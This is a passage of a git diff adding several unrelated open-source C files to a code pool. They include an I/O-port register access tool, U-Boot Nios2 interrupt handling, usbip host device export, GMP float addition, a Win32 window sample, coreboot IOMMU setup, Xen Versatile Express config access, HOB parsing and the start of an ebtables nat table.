read(fd, data, size); + return ret; +} + +static uint8_t inb(int iobase) +{ + uint8_t val = 0xff; + io_in(iobase, sizeof(val), &val); + return val; +} +static uint16_t inw(int iobase) +{ + uint16_t val = 0xffff; + io_in(iobase, sizeof(val), &val); + return val; +} +static uint32_t inl(int iobase) +{ + uint32_t val = 0xffff; + io_in(iobase, sizeof(val), &val); + return val; +} + +static int io_out(int iobase, int size, void *data) +{ + int ret, fd; + + fd = open(dev_port, O_WRONLY); + if (fd < 0) { + fprintf(stderr, "open(\"%s\"): %s\n", dev_port, strerror(errno)); + return -1; + } + + if (lseek(fd, iobase, SEEK_SET) == (off_t)-1) { + fprintf(stderr, "lseek(%d): %s\n", iobase, strerror(errno)); + close(fd); + return -1; + } + + ret = write(fd, data, size); + return ret; +} + +static void outb(uint8_t val, int iobase) +{ + io_out(iobase, sizeof(val), &val); +} +static void outw(uint16_t val, int iobase) +{ + io_out(iobase, sizeof(val), &val); +} +static void outl(uint32_t val, int iobase) +{ + io_out(iobase, sizeof(val), &val); +} +#endif /* #ifdef ARCH_X86 */ + +static int +io_read_x(int argc, const char *argv[], const struct cmd_info *info) +{ + unsigned long iobase; + data_store data; + int ret; + + ret = 0; + iobase = strtoul(argv[1], NULL, 0); + + #define in8 inb + #define in16 inw + #define in32 inl + #define DO_READ(addr_, size_) \ + data.u ##size_ = in ##size_(addr_); \ + fprintf(stdout, "0x%0*x\n", \ + (int)sizeof(data.u ##size_)*2, data.u ##size_) + + switch (get_command_size(info)) { + case SIZE8: + DO_READ(iobase, 8); + break; + case SIZE16: + DO_READ(iobase, 16); + break; + case SIZE32: + DO_READ(iobase, 32); + break; + default: + fprintf(stderr, "invalid io_read entry\n"); + ret = -1; + } + + return ret; +} + +static int +io_write_x(int argc, const char *argv[], const struct cmd_info *info) +{ + unsigned long iobase; + unsigned long ldata; + int ret; + data_store data; + + ret = 0; + iobase = strtoul(argv[1], NULL, 0); + ldata = strtoul(argv[2], NULL, 0); + + #define out8 outb + #define out16 outw + #define out32 outl + #define DO_WRITE(addr_, size_) \ + data.u ##size_ = (typeof(data.u ##size_))ldata; \ + out ##size_(data.u ##size_, addr_) + + switch (get_command_size(info)) { + case SIZE8: + DO_WRITE(iobase, 8); + break; + case SIZE16: + DO_WRITE(iobase, 16); + break; + case SIZE32: + DO_WRITE(iobase, 32); + break; + default: + fprintf(stderr, "invalid io_write entry\n"); + ret = -1; + } + + return ret; +} + +MAKE_PREREQ_PARAMS_FIXED_ARGS(rd_params, 2, "", 3); +MAKE_PREREQ_PARAMS_FIXED_ARGS(wr_params, 3, " ", 3); + +#define MAKE_IO_READ_CMD(size_) \ + MAKE_CMD_WITH_PARAMS_SIZE(io_read ##size_, &io_read_x, NULL, \ + &rd_params, &size ##size_) +#define MAKE_IO_WRITE_CMD(size_) \ + MAKE_CMD_WITH_PARAMS_SIZE(io_write ##size_, &io_write_x, NULL, \ + &wr_params, &size ##size_) +#define MAKE_IO_RW_CMD_PAIR(size_) \ + MAKE_IO_READ_CMD(size_), \ + MAKE_IO_WRITE_CMD(size_) + +static const struct cmd_info io_cmds[] = { + MAKE_IO_RW_CMD_PAIR(8), + MAKE_IO_RW_CMD_PAIR(16), + MAKE_IO_RW_CMD_PAIR(32), +}; + +MAKE_CMD_GROUP(IO, "commands to access registers in the IO address space", + io_cmds); +REGISTER_CMD_GROUP(IO); + diff --git a/pool/shard011/C/0141915_interrupts.c b/pool/shard011/C/0141915_interrupts.c new file mode 100644 index 0000000000000000000000000000000000000000..c4bed2253d72a930b2a66abb610fa662a132defa --- /dev/null +++ b/pool/shard011/C/0141915_interrupts.c @@ -0,0 +1,264 @@ +/* + * (C) Copyright 2000-2002 + * Wolfgang Denk, DENX Software Engineering, wd@denx.de. + * + * (C) Copyright 2004, Psyent Corporation + * Scott McNutt + * + * SPDX-License-Identifier: GPL-2.0+ + */ + + +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef CONFIG_STATUS_LED +#include +#endif + +#if defined(CONFIG_SYS_NIOS_TMRBASE) && !defined(CONFIG_SYS_NIOS_TMRIRQ) +#error CONFIG_SYS_NIOS_TMRIRQ not defined (see documentation) +#endif + +/****************************************************************************/ + +struct irq_action { + interrupt_handler_t *handler; + void *arg; + int count; +}; + +static struct irq_action vecs[32]; + +/*************************************************************************/ +volatile ulong timestamp = 0; + +void reset_timer (void) +{ + nios_timer_t *tmr =(nios_timer_t *)CONFIG_SYS_NIOS_TMRBASE; + + /* From Embedded Peripherals Handbook: + * + * "When the hardware is configured with Writeable period + * disabled, writing to one of the period_n registers causes + * the counter to reset to the fixed Timeout Period specified + * at system generation time." + * + * Here we force a reload to prevent early timeouts from + * get_timer() when the interrupt period is greater than + * than 1 msec. + * + * Simply write to periodl with its own value to force an + * internal counter reload, THEN reset the timestamp. + */ + writel (readl (&tmr->periodl), &tmr->periodl); + timestamp = 0; + + /* From Embedded Peripherals Handbook: + * + * "Writing to one of the period_n registers stops the internal + * counter, except when the hardware is configured with Start/Stop + * control bits off. If Start/Stop control bits is off, writing + * either register does not stop the counter." + * + * In order to accomodate either configuration, the control + * register is re-written. If the counter is stopped, it will + * be restarted. If it is running, the write is essentially + * a nop. + */ + writel (NIOS_TIMER_ITO | NIOS_TIMER_CONT | NIOS_TIMER_START, + &tmr->control); + +} + +ulong get_timer (ulong base) +{ + WATCHDOG_RESET (); + return (timestamp - base); +} + +/* + * This function is derived from Blackfin code (read timebase as long long). + * On Nios2 it just returns the timer value. + */ +unsigned long long get_ticks(void) +{ + return get_timer(0); +} + +/* + * This function is derived from Blackfin code. + * On Nios2 it returns the number of timer ticks per second. + */ +ulong get_tbclk(void) +{ + ulong tbclk; + + tbclk = CONFIG_SYS_HZ; + return tbclk; +} + +/* The board must handle this interrupt if a timer is not + * provided. + */ +#if defined(CONFIG_SYS_NIOS_TMRBASE) +void tmr_isr (void *arg) +{ + nios_timer_t *tmr = (nios_timer_t *)arg; + /* Interrupt is cleared by writing anything to the + * status register. + */ + writel (0, &tmr->status); + timestamp += CONFIG_SYS_NIOS_TMRMS; +#ifdef CONFIG_STATUS_LED + status_led_tick(timestamp); +#endif +} + +static void tmr_init (void) +{ + nios_timer_t *tmr =(nios_timer_t *)CONFIG_SYS_NIOS_TMRBASE; + + writel (0, &tmr->status); + writel (0, &tmr->control); + writel (NIOS_TIMER_STOP, &tmr->control); + +#if defined(CONFIG_SYS_NIOS_TMRCNT) + writel (CONFIG_SYS_NIOS_TMRCNT & 0xffff, &tmr->periodl); + writel ((CONFIG_SYS_NIOS_TMRCNT >> 16) & 0xffff, &tmr->periodh); +#endif + writel (NIOS_TIMER_ITO | NIOS_TIMER_CONT | NIOS_TIMER_START, + &tmr->control); + irq_install_handler (CONFIG_SYS_NIOS_TMRIRQ, tmr_isr, (void *)tmr); +} + +#endif /* CONFIG_SYS_NIOS_TMRBASE */ + +/*************************************************************************/ +int disable_interrupts (void) +{ + int val = rdctl (CTL_STATUS); + wrctl (CTL_STATUS, val & ~STATUS_IE); + return (val & STATUS_IE); +} + +void enable_interrupts( void ) +{ + int val = rdctl (CTL_STATUS); + wrctl (CTL_STATUS, val | STATUS_IE); +} + +void external_interrupt (struct pt_regs *regs) +{ + unsigned irqs; + struct irq_action *act; + + /* Evaluate only irqs that are both enabled AND pending */ + irqs = rdctl (CTL_IENABLE) & rdctl (CTL_IPENDING); + act = vecs; + + /* Assume (as does the Nios2 HAL) that bit 0 is highest + * priority. NOTE: There is ALWAYS a handler assigned + * (the default if no other). + */ + while (irqs) { + if (irqs & 1) { + act->handler (act->arg); + act->count++; + } + irqs >>=1; + act++; + } +} + +static void def_hdlr (void *arg) +{ + unsigned irqs = rdctl (CTL_IENABLE); + + /* Disable the individual interrupt -- with gratuitous + * warning. + */ + irqs &= ~(1 << (int)arg); + wrctl (CTL_IENABLE, irqs); + printf ("WARNING: Disabling unhandled interrupt: %d\n", + (int)arg); +} + +/*************************************************************************/ +void irq_install_handler (int irq, interrupt_handler_t *hdlr, void *arg) +{ + + int flag; + struct irq_action *act; + unsigned ena = rdctl (CTL_IENABLE); + + if ((irq < 0) || (irq > 31)) + return; + act = &vecs[irq]; + + flag = disable_interrupts (); + if (hdlr) { + act->handler = hdlr; + act->arg = arg; + ena |= (1 << irq); /* enable */ + } else { + act->handler = def_hdlr; + act->arg = (void *)irq; + ena &= ~(1 << irq); /* disable */ + } + wrctl (CTL_IENABLE, ena); + if (flag) enable_interrupts (); +} + + +int interrupt_init (void) +{ + int i; + + /* Assign the default handler to all */ + for (i = 0; i < 32; i++) { + vecs[i].handler = def_hdlr; + vecs[i].arg = (void *)i; + vecs[i].count = 0; + } + +#if defined(CONFIG_SYS_NIOS_TMRBASE) + tmr_init (); +#endif + + enable_interrupts (); + return (0); +} + + +/*************************************************************************/ +#if defined(CONFIG_CMD_IRQ) +int do_irqinfo (cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[]) +{ + int i; + struct irq_action *act = vecs; + + printf ("\nInterrupt-Information:\n\n"); + printf ("Nr Routine Arg Count\n"); + printf ("-----------------------------\n"); + + for (i=0; i<32; i++) { + if (act->handler != def_hdlr) { + printf ("%02d %08lx %08lx %d\n", + i, + (ulong)act->handler, + (ulong)act->arg, + act->count); + } + act++; + } + printf ("\n"); + + return (0); +} +#endif diff --git a/pool/shard011/C/0141916_usbip_host_common.c b/pool/shard011/C/0141916_usbip_host_common.c new file mode 100644 index 0000000000000000000000000000000000000000..b0f7489d069d0747ee7f0b9309c87f511eacb142 --- /dev/null +++ b/pool/shard011/C/0141916_usbip_host_common.c @@ -0,0 +1,294 @@ +/* + * Copyright (C) 2015-2016 Samsung Electronics + * Igor Kotrasinski + * Krzysztof Opasiak + * + * Refactored from usbip_host_driver.c, which is: + * Copyright (C) 2011 matt mooney + * 2005-2007 Takahiro Hirofuchi + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include + +#include +#include + +#include + +#include "usbip_common.h" +#include "usbip_host_common.h" +#include "list.h" +#include "sysfs_utils.h" + +struct udev *udev_context; + +static int32_t read_attr_usbip_status(struct usbip_usb_device *udev) +{ + char status_attr_path[SYSFS_PATH_MAX]; + int size; + int fd; + int length; + char status[2] = { 0 }; + int value = 0; + + size = snprintf(status_attr_path, sizeof(status_attr_path), + "%s/usbip_status", udev->path); + if (size < 0 || (unsigned int)size >= sizeof(status_attr_path)) { + err("usbip_status path length %i >= %lu or < 0", size, + (long unsigned)sizeof(status_attr_path)); + return -1; + } + + + fd = open(status_attr_path, O_RDONLY); + if (fd < 0) { + err("error opening attribute %s", status_attr_path); + return -1; + } + + length = read(fd, status, 1); + if (length < 0) { + err("error reading attribute %s", status_attr_path); + close(fd); + return -1; + } + + value = atoi(status); + close(fd); + return value; +} + +static +struct usbip_exported_device *usbip_exported_device_new( + struct usbip_host_driver *hdriver, const char *sdevpath) +{ + struct usbip_exported_device *edev = NULL; + struct usbip_exported_device *edev_old; + size_t size; + int i; + + edev = calloc(1, sizeof(struct usbip_exported_device)); + + edev->sudev = + udev_device_new_from_syspath(udev_context, sdevpath); + if (!edev->sudev) { + err("udev_device_new_from_syspath: %s", sdevpath); + goto err; + } + + if (hdriver->ops.read_device(edev->sudev, &edev->udev) < 0) + goto err; + + edev->status = read_attr_usbip_status(&edev->udev); + if (edev->status < 0) + goto err; + + /* reallocate buffer to include usb interface data */ + size = sizeof(struct usbip_exported_device) + + edev->udev.bNumInterfaces * sizeof(struct usbip_usb_interface); + + edev_old = edev; + edev = realloc(edev, size); + if (!edev) { + edev = edev_old; + dbg("realloc failed"); + goto err; + } + + for (i = 0; i < edev->udev.bNumInterfaces; i++) { + /* vudc does not support reading interfaces */ + if (!hdriver->ops.read_interface) + break; + hdriver->ops.read_interface(&edev->udev, i, &edev->uinf[i]); + } + + return edev; +err: + if (edev->sudev) + udev_device_unref(edev->sudev); + if (edev) + free(edev); + + return NULL; +} + +static int refresh_exported_devices(struct usbip_host_driver *hdriver) +{ + struct usbip_exported_device *edev; + struct udev_enumerate *enumerate; + struct udev_list_entry *devices, *dev_list_entry; + struct udev_device *dev; + const char *path; + + enumerate = udev_enumerate_new(udev_context); + udev_enumerate_add_match_subsystem(enumerate, hdriver->udev_subsystem); + udev_enumerate_scan_devices(enumerate); + + devices = udev_enumerate_get_list_entry(enumerate); + + udev_list_entry_foreach(dev_list_entry, devices) { + path = udev_list_entry_get_name(dev_list_entry); + dev = udev_device_new_from_syspath(udev_context, + path); + if (dev == NULL) + continue; + + /* Check whether device uses usbip driver. */ + if (hdriver->ops.is_my_device(dev)) { + edev = usbip_exported_device_new(hdriver, path); + if (!edev) { + dbg("usbip_exported_device_new failed"); + continue; + } + + list_add(&edev->node, &hdriver->edev_list); + hdriver->ndevs++; + } + } + + return 0; +} + +static void usbip_exported_device_destroy(struct list_head *devs) +{ + struct list_head *i, *tmp; + struct usbip_exported_device *edev; + + list_for_each_safe(i, tmp, devs) { + edev = list_entry(i, struct usbip_exported_device, node); + list_del(i); + free(edev); + } +} + +int usbip_generic_driver_open(struct usbip_host_driver *hdriver) +{ + int rc; + + udev_context = udev_new(); + if (!udev_context) { + err("udev_new failed"); + return -1; + } + + rc = refresh_exported_devices(hdriver); + if (rc < 0) + goto err; + return 0; +err: + udev_unref(udev_context); + return -1; +} + +void usbip_generic_driver_close(struct usbip_host_driver *hdriver) +{ + if (!hdriver) + return; + + usbip_exported_device_destroy(&hdriver->edev_list); + + udev_unref(udev_context); +} + +int usbip_generic_refresh_device_list(struct usbip_host_driver *hdriver) +{ + int rc; + + usbip_exported_device_destroy(&hdriver->edev_list); + + hdriver->ndevs = 0; + INIT_LIST_HEAD(&hdriver->edev_list); + + rc = refresh_exported_devices(hdriver); + if (rc < 0) + return -1; + + return 0; +} + +int usbip_export_device(struct usbip_exported_device *edev, int sockfd) +{ + char attr_name[] = "usbip_sockfd"; + char sockfd_attr_path[SYSFS_PATH_MAX]; + int size; + char sockfd_buff[30]; + int ret; + + if (edev->status != SDEV_ST_AVAILABLE) { + dbg("device not available: %s", edev->udev.busid); + switch (edev->status) { + case SDEV_ST_ERROR: + dbg("status SDEV_ST_ERROR"); + ret = ST_DEV_ERR; + break; + case SDEV_ST_USED: + dbg("status SDEV_ST_USED"); + ret = ST_DEV_BUSY; + break; + default: + dbg("status unknown: 0x%x", edev->status); + ret = -1; + } + return ret; + } + + /* only the first interface is true */ + size = snprintf(sockfd_attr_path, sizeof(sockfd_attr_path), "%s/%s", + edev->udev.path, attr_name); + if (size < 0 || (unsigned int)size >= sizeof(sockfd_attr_path)) { + err("exported device path length %i >= %lu or < 0", size, + (long unsigned)sizeof(sockfd_attr_path)); + return -1; + } + + size = snprintf(sockfd_buff, sizeof(sockfd_buff), "%d\n", sockfd); + if (size < 0 || (unsigned int)size >= sizeof(sockfd_buff)) { + err("socket length %i >= %lu or < 0", size, + (long unsigned)sizeof(sockfd_buff)); + return -1; + } + + ret = write_sysfs_attribute(sockfd_attr_path, sockfd_buff, + strlen(sockfd_buff)); + if (ret < 0) { + err("write_sysfs_attribute failed: sockfd %s to %s", + sockfd_buff, sockfd_attr_path); + return ret; + } + + info("connect: %s", edev->udev.busid); + + return ret; +} + +struct usbip_exported_device *usbip_generic_get_device( + struct usbip_host_driver *hdriver, int num) +{ + struct list_head *i; + struct usbip_exported_device *edev; + int cnt = 0; + + list_for_each(i, &hdriver->edev_list) { + edev = list_entry(i, struct usbip_exported_device, node); + if (num == cnt) + return edev; + cnt++; + } + + return NULL; +} diff --git a/pool/shard011/C/0141917_add_ui.c b/pool/shard011/C/0141917_add_ui.c new file mode 100644 index 0000000000000000000000000000000000000000..410b808e14788d28df2de6bb87104bba84e993d4 --- /dev/null +++ b/pool/shard011/C/0141917_add_ui.c @@ -0,0 +1,144 @@ +/* mpf_add_ui -- Add a float and an unsigned integer. + +Copyright 1993, 1994, 1996, 2000, 2001 Free Software Foundation, Inc. + +This file is part of the GNU MP Library. + +The GNU MP Library is free software; you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation; either version 2.1 of the License, or (at your +option) any later version. + +The GNU MP Library is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY +or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public +License for more details. + +You should have received a copy of the GNU Lesser General Public License +along with the GNU MP Library; see the file COPYING.LIB. If not, write to +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, +MA 02110-1301, USA. */ + +#include "gmp.h" +#include "gmp-impl.h" + +void +mpf_add_ui (mpf_ptr sum, mpf_srcptr u, unsigned long int v) +{ + mp_srcptr up = u->_mp_d; + mp_ptr sump = sum->_mp_d; + mp_size_t usize, sumsize; + mp_size_t prec = sum->_mp_prec; + mp_exp_t uexp = u->_mp_exp; + + usize = u->_mp_size; + if (usize <= 0) + { + if (usize == 0) + { + mpf_set_ui (sum, v); + return; + } + else + { + __mpf_struct u_negated; + u_negated._mp_size = -usize; + u_negated._mp_exp = u->_mp_exp; + u_negated._mp_d = u->_mp_d; + mpf_sub_ui (sum, &u_negated, v); + sum->_mp_size = -(sum->_mp_size); + return; + } + } + + if (v == 0) + { + sum_is_u: + if (u != sum) + { + sumsize = MIN (usize, prec + 1); + MPN_COPY (sum->_mp_d, up + usize - sumsize, sumsize); + sum->_mp_size = sumsize; + sum->_mp_exp = u->_mp_exp; + } + return; + } + + if (uexp > 0) + { + /* U >= 1. */ + if (uexp > prec) + { + /* U >> V, V is not part of final result. */ + goto sum_is_u; + } + else + { + /* U's "limb point" is somewhere between the first limb + and the PREC:th limb. + Both U and V are part of the final result. */ + if (uexp > usize) + { + /* uuuuuu0000. */ + /* + v. */ + /* We begin with moving U to the top of SUM, to handle + samevar(U,SUM). */ + MPN_COPY_DECR (sump + uexp - usize, up, usize); + sump[0] = v; + MPN_ZERO (sump + 1, uexp - usize - 1); +#if 0 /* What is this??? */ + if (sum == u) + MPN_COPY (sum->_mp_d, sump, uexp); +#endif + sum->_mp_size = uexp; + sum->_mp_exp = uexp; + } + else + { + /* uuuuuu.uuuu */ + /* + v. */ + mp_limb_t cy_limb; + if (usize > prec) + { + /* Ignore excess limbs in U. */ + up += usize - prec; + usize -= usize - prec; /* Eq. usize = prec */ + } + if (sump != up) + MPN_COPY_INCR (sump, up, usize - uexp); + cy_limb = mpn_add_1 (sump + usize - uexp, up + usize - uexp, + uexp, (mp_limb_t) v); + sump[usize] = cy_limb; + sum->_mp_size = usize + cy_limb; + sum->_mp_exp = uexp + cy_limb; + } + } + } + else + { + /* U < 1, so V > U for sure. */ + /* v. */ + /* .0000uuuu */ + if ((-uexp) >= prec) + { + sump[0] = v; + sum->_mp_size = 1; + sum->_mp_exp = 1; + } + else + { + if (usize + (-uexp) + 1 > prec) + { + /* Ignore excess limbs in U. */ + up += usize + (-uexp) + 1 - prec; + usize -= usize + (-uexp) + 1 - prec; + } + if (sump != up) + MPN_COPY_INCR (sump, up, usize); + MPN_ZERO (sump + usize, -uexp); + sump[usize + (-uexp)] = v; + sum->_mp_size = usize + (-uexp) + 1; + sum->_mp_exp = 1; + } + } +} diff --git a/pool/shard011/C/0141918_main.c b/pool/shard011/C/0141918_main.c new file mode 100644 index 0000000000000000000000000000000000000000..6f9f03ce0d24013bea5d224b2f36e08ee55b38da --- /dev/null +++ b/pool/shard011/C/0141918_main.c @@ -0,0 +1,75 @@ +#include + +const char g_szClassName[] = "myWindowClass"; + +// Step 4: the window procedure +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + switch (msg) + { + case WM_CLOSE: + DestroyWindow(hwnd); + break; + case WM_DESTROY: + PostQuitMessage(0); + break; + default: + return DefWindowProc(hwnd, msg, wParam, lParam); + } + return 0; +} + +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) +{ +// WNDCLASS wc; + WNDCLASSEX wc; + HWND hwnd; + MSG msg; + + // step 1: registering the window class + wc.cbSize = sizeof(WNDCLASSEX); + wc.style = 0; + wc.lpfnWndProc = WndProc; + wc.cbClsExtra = 0; + wc.cbWndExtra = 0; + wc.hInstance = hInstance; + wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wc.hCursor = LoadCursor(NULL, IDC_ARROW); + wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); + wc.lpszMenuName = NULL; + wc.lpszClassName = g_szClassName; + wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + + if (!RegisterClassEx(&wc)) +// if (!RegisterClass(&wc)) + { + MessageBox(NULL, "Window Registration Failed!", "Error", + MB_ICONEXCLAMATION | MB_OK); + return 0; + } + + // Step 2: Create window + hwnd = CreateWindowEx( + WS_EX_CLIENTEDGE, + g_szClassName, + "The title of my windows", + WS_OVERLAPPEDWINDOW, + CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, + NULL, NULL, hInstance, NULL); + if (hwnd == NULL) + { + MessageBox(NULL, "Window Creation Failed!", "Error", MB_ICONEXCLAMATION | MB_OK); + return 0; + } + + ShowWindow(hwnd, nShowCmd); + UpdateWindow(hwnd); + + // Step 3: The Message Loop + while (GetMessage(&msg, NULL, 0, 0) > 0) + { + TranslateMessage(&msg); + DispatchMessage(&msg); + } + return msg.wParam; +} diff --git a/pool/shard011/C/0141919_iommu.c b/pool/shard011/C/0141919_iommu.c new file mode 100644 index 0000000000000000000000000000000000000000..08fbe05102c4f4a3b16830bed69f7db21f98aa3e --- /dev/null +++ b/pool/shard011/C/0141919_iommu.c @@ -0,0 +1,48 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2015 secunet Security Networks AG + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; version 2 of + * the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include + +#include +#include +#include + +#include "sandybridge.h" + +void sandybridge_init_iommu(void) +{ + const u32 capid0_a = pci_read_config32(PCI_DEV(0, 0, 0), 0xe4); + if (capid0_a & (1 << 23)) + return; + + /* setup BARs */ + MCHBAR32(0x5404) = IOMMU_BASE1 >> 32; + MCHBAR32(0x5400) = IOMMU_BASE1 | 1; + MCHBAR32(0x5414) = IOMMU_BASE2 >> 32; + MCHBAR32(0x5410) = IOMMU_BASE2 | 1; + + /* lock policies */ + write32((void *)(IOMMU_BASE1 + 0xff0), 0x80000000); + + const struct device *const azalia = + dev_find_slot(0x00, PCI_DEVFN(0x1b, 0)); + if (azalia && azalia->enabled) { + write32((void *)(IOMMU_BASE2 + 0xff0), 0x20000000); + write32((void *)(IOMMU_BASE2 + 0xff0), 0xa0000000); + } else { + write32((void *)(IOMMU_BASE2 + 0xff0), 0x80000000); + } +} diff --git a/pool/shard011/C/0141920_vexpress.c b/pool/shard011/C/0141920_vexpress.c new file mode 100644 index 0000000000000000000000000000000000000000..fd4ce740dabcfdc62df4c1e12c639d18349d07f8 --- /dev/null +++ b/pool/shard011/C/0141920_vexpress.c @@ -0,0 +1,100 @@ +/* + * xen/arch/arm/platform_vexpress.c + * + * Versatile Express specific settings + * + * Stefano Stabellini + * Copyright (c) 2013 Citrix Systems. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include + +#define DCC_SHIFT 26 +#define FUNCTION_SHIFT 20 +#define SITE_SHIFT 16 +#define POSITION_SHIFT 12 +#define DEVICE_SHIFT 0 + +static inline int vexpress_ctrl_start(uint32_t *syscfg, int write, + int function, int device) +{ + int dcc = 0; /* DCC to access */ + int site = 0; /* motherboard */ + int position = 0; /* daughterboard */ + uint32_t stat; + + /* set control register */ + syscfg[V2M_SYS_CFGCTRL/4] = V2M_SYS_CFG_START | + (write ? V2M_SYS_CFG_WRITE : 0) | + (dcc << DCC_SHIFT) | (function << FUNCTION_SHIFT) | + (site << SITE_SHIFT) | (position << POSITION_SHIFT) | + (device << DEVICE_SHIFT); + + /* wait for complete flag to be set */ + do { + stat = syscfg[V2M_SYS_CFGSTAT/4]; + dsb(); + } while ( !(stat & V2M_SYS_CFG_COMPLETE) ); + + /* check error status and return error flag if set */ + if ( stat & V2M_SYS_CFG_ERROR ) + { + printk(KERN_ERR "V2M SYS_CFGSTAT reported a configuration error\n"); + return -1; + } + return 0; +} + +int vexpress_syscfg(int write, int function, int device, uint32_t *data) +{ + uint32_t *syscfg = (uint32_t *) FIXMAP_ADDR(FIXMAP_MISC); + int ret = -1; + + set_fixmap(FIXMAP_MISC, V2M_SYS_MMIO_BASE >> PAGE_SHIFT, DEV_SHARED); + + if ( syscfg[V2M_SYS_CFGCTRL/4] & V2M_SYS_CFG_START ) + goto out; + + /* clear the complete bit in the V2M_SYS_CFGSTAT status register */ + syscfg[V2M_SYS_CFGSTAT/4] = 0; + + if ( write ) + { + /* write data */ + syscfg[V2M_SYS_CFGDATA/4] = *data; + + if ( vexpress_ctrl_start(syscfg, write, function, device) < 0 ) + goto out; + } else { + if ( vexpress_ctrl_start(syscfg, write, function, device) < 0 ) + goto out; + else + /* read data */ + *data = syscfg[V2M_SYS_CFGDATA/4]; + } + + ret = 0; +out: + clear_fixmap(FIXMAP_MISC); + return ret; +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * indent-tabs-mode: nil + * End: + */ diff --git a/pool/shard011/C/0141921_hob.c b/pool/shard011/C/0141921_hob.c new file mode 100644 index 0000000000000000000000000000000000000000..f2c47240ee8ee4062b2d89fc8d8aed75a0fada66 --- /dev/null +++ b/pool/shard011/C/0141921_hob.c @@ -0,0 +1,84 @@ +// SPDX-License-Identifier: Intel +/* + * Copyright (C) 2013, Intel Corporation + * Copyright (C) 2014, Bin Meng + */ + +#include +#include + +/** + * Returns the next instance of a HOB type from the starting HOB. + * + * @type: HOB type to search + * @hob_list: A pointer to the HOB list + * + * @return A HOB object with matching type; Otherwise NULL. + */ +const struct hob_header *hob_get_next_hob(uint type, const void *hob_list) +{ + const struct hob_header *hdr; + + hdr = hob_list; + + /* Parse the HOB list until end of list or matching type is found */ + while (!end_of_hob(hdr)) { + if (hdr->type == type) + return hdr; + + hdr = get_next_hob(hdr); + } + + return NULL; +} + +/** + * Returns the next instance of the matched GUID HOB from the starting HOB. + * + * @guid: GUID to search + * @hob_list: A pointer to the HOB list + * + * @return A HOB object with matching GUID; Otherwise NULL. + */ +const struct hob_header *hob_get_next_guid_hob(const efi_guid_t *guid, + const void *hob_list) +{ + const struct hob_header *hdr; + struct hob_guid *guid_hob; + + hdr = hob_list; + while ((hdr = hob_get_next_hob(HOB_TYPE_GUID_EXT, hdr))) { + guid_hob = (struct hob_guid *)hdr; + if (!guidcmp(guid, &guid_hob->name)) + break; + hdr = get_next_hob(hdr); + } + + return hdr; +} + +/** + * This function retrieves a GUID HOB data buffer and size. + * + * @hob_list: A HOB list pointer. + * @len: A pointer to the GUID HOB data buffer length. + * If the GUID HOB is located, the length will be updated. + * @guid A pointer to HOB GUID. + * + * @return NULL: Failed to find the GUID HOB. + * @return others: GUID HOB data buffer pointer. + */ +void *hob_get_guid_hob_data(const void *hob_list, u32 *len, + const efi_guid_t *guid) +{ + const struct hob_header *guid_hob; + + guid_hob = hob_get_next_guid_hob(guid, hob_list); + if (!guid_hob) + return NULL; + + if (len) + *len = get_guid_hob_data_size(guid_hob); + + return get_guid_hob_data(guid_hob); +} diff --git a/pool/shard011/C/0141922_ebtable_nat.c b/pool/shard011/C/0141922_ebtable_nat.c new file mode 100644 index 0000000000000000000000000000000000000000..7c8a1064a5316c260763cc6fda865feacc5c7fb6 --- /dev/null +++ b/pool/shard011/C/0141922_ebtable_nat.c @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * ebtable_nat + * + * Authors: + * Bart De Schuymer + * + * April, 2002 + * + */ + +#include +#include +#include + +#define NAT_VALID_HOOKS ((1 << NF_BR_PRE_ROUTING) | (1 << NF_BR_LOCAL_OUT) | \ + (1 << NF_BR_POST_ROUTING)) + +static struct ebt_entries initial_chains[] = { + { + .name = "PREROUTING", + .policy = EBT_ACCEPT, + }, + { + .name = "OUTPUT", + .policy = EBT_ACCEPT, + }, + { + .name = "POSTROUTING", + .policy = EBT_ACCEPT, + } +}; + +static struct ebt_replace_kernel initial_table = { + .name = "nat", + .valid_hooks = NAT_VALID_HOOKS, + .entries_size = 3 * sizeof(struct ebt_entries), + .hook_entry = { + [NF_BR_PRE_ROUTING] = &initial_chains[0], + [NF_BR_LOCAL_OUT] = &initial_chains[1], + [NF_BR_POST_ROUTING] = &initial_chains[2], + }, + .entries = (char *)initial_chains, +}; + +static int check(const struct ebt_table_info *info, unsigned int valid_hooks) +{ + if (valid_hooks & ~NAT_VALID_HOOKS) + return -EINVAL; + return 0; +} + +static const struct ebt_table frame_nat = { + .name = "nat", + .table = &initial_table, + .valid_hooks = NAT_VALID_HOOKS, + .check = check, + .me = 